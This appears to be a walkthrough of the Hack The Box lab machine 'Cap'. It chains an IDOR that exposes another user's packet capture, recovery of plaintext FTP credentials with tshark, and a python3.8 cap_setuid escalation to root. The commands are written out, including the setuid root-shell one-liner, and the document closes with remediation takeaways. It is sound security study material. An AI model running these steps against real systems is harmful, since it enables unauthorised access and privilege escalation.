Machine - Cap

Overview

HTB Machine: Cap is an easy Linux machine on Hack The Box. The compromise chains three issues: an insecure direct object reference exposes another user's packet capture; the capture contains plaintext FTP credentials; and an incorrectly assigned Linux capability on Python allows privilege escalation to root.

Credentials and flag values are intentionally redacted for safe publication.

| Property | Value | | --- | --- | | Platform | Hack The Box | | Target type | Machine | | Operating system | Linux | | Difficulty | Easy | | Machine release date | 05 Jun 2021 | | Completion date | 05 Aug 2026 | | Initial access | IDOR → PCAP → FTP/SSH | | Privilege escalation | cap_setuid on /usr/bin/python3.8 |

1. Reconnaissance

The initial scan identified the services exposed by the target:

nmap -sC -sV -p 21,22,80 TARGET_IP

| Port | Service | Finding | | --- | --- | --- | | 21/tcp | FTP | vsFTPd 3.0.3 | | 22/tcp | SSH | OpenSSH 8.2p1 (Ubuntu) | | 80/tcp | HTTP | Gunicorn-based Security Dashboard |

The web application was the most promising entry point because it exposed administrative network-capture functionality.

2. Enumeration & Vulnerability Assessment

After creating a packet capture in the Security Dashboard, the application redirected to a numbered resource at /data/[id]. The identifier was fully user-controlled and there was no server-side ownership check.

Changing the capture ID to an existing one exposed a capture belonging to another user:

http://TARGET_IP/data/0

This is an Insecure Direct Object Reference (IDOR): access to an object is based only on a predictable identifier, rather than verifying that the current user is allowed to read it.

The downloaded PCAP contained an FTP session. As FTP transmits credentials in plaintext, the login can be extracted with Wireshark or tshark:

tshark -r 0.pcap -Y ftp.request.command -T fields -e ftp.request.command

The output revealed USER nathan and its corresponding PASS command.

3. Exploit Preparation

The credentials recovered from the PCAP were used to authenticate as nathan. FTP confirmed access to the user files, while SSH provided a stable interactive shell:

ftp TARGET_IP
# Name: nathan
# Password: [recovered from the PCAP]
ftp> get user.txt

ssh nathan@TARGET_IP
cat ~/user.txt

For local enumeration, LinPEAS was transferred over SCP and executed from /tmp:

scp linpeas.sh nathan@TARGET_IP:/tmp/linpeas.sh
ssh nathan@TARGET_IP
chmod +x /tmp/linpeas.sh
/tmp/linpeas.sh

Several standard privilege-escalation checks did not produce a usable path:

• SUID enumeration returned only expected system binaries such as mount, passwd, and pkexec.
• sudo -l confirmed that nathan has no sudo permissions.
• Attempting to change the account password failed due to insufficient privileges.
• at now did not yield a privileged or useful interactive shell.
• Initial LinPEAS transfers using curl, wget, reverse tunnels, and Netcat failed because of network or routing issues.

LinPEAS eventually highlighted this unusual file capability:

/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip

4. Exploit

The cap_setuid capability allows a process to change its effective user ID. Because it was assigned to a user-accessible Python interpreter, nathan could set the process UID to 0 and spawn a root shell:

python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'

The resulting shell can be verified with:

id
# uid=0(root) gid=1001(nathan) groups=1001(nathan)

5. Post Exploitation

With root access established, the root flag is accessible:

cat /root/root.txt

Key takeaways

• A numeric object ID must never be treated as authorization. The server must validate that the requested capture belongs to, or is explicitly shared with, the authenticated user.
• FTP exposes both usernames and passwords to anyone who can inspect the traffic. SFTP or FTPS should be used instead.
• Linux capabilities require the same careful review as SUID binaries. Assigning cap_setuid to a general-purpose interpreter such as Python effectively grants a route to root.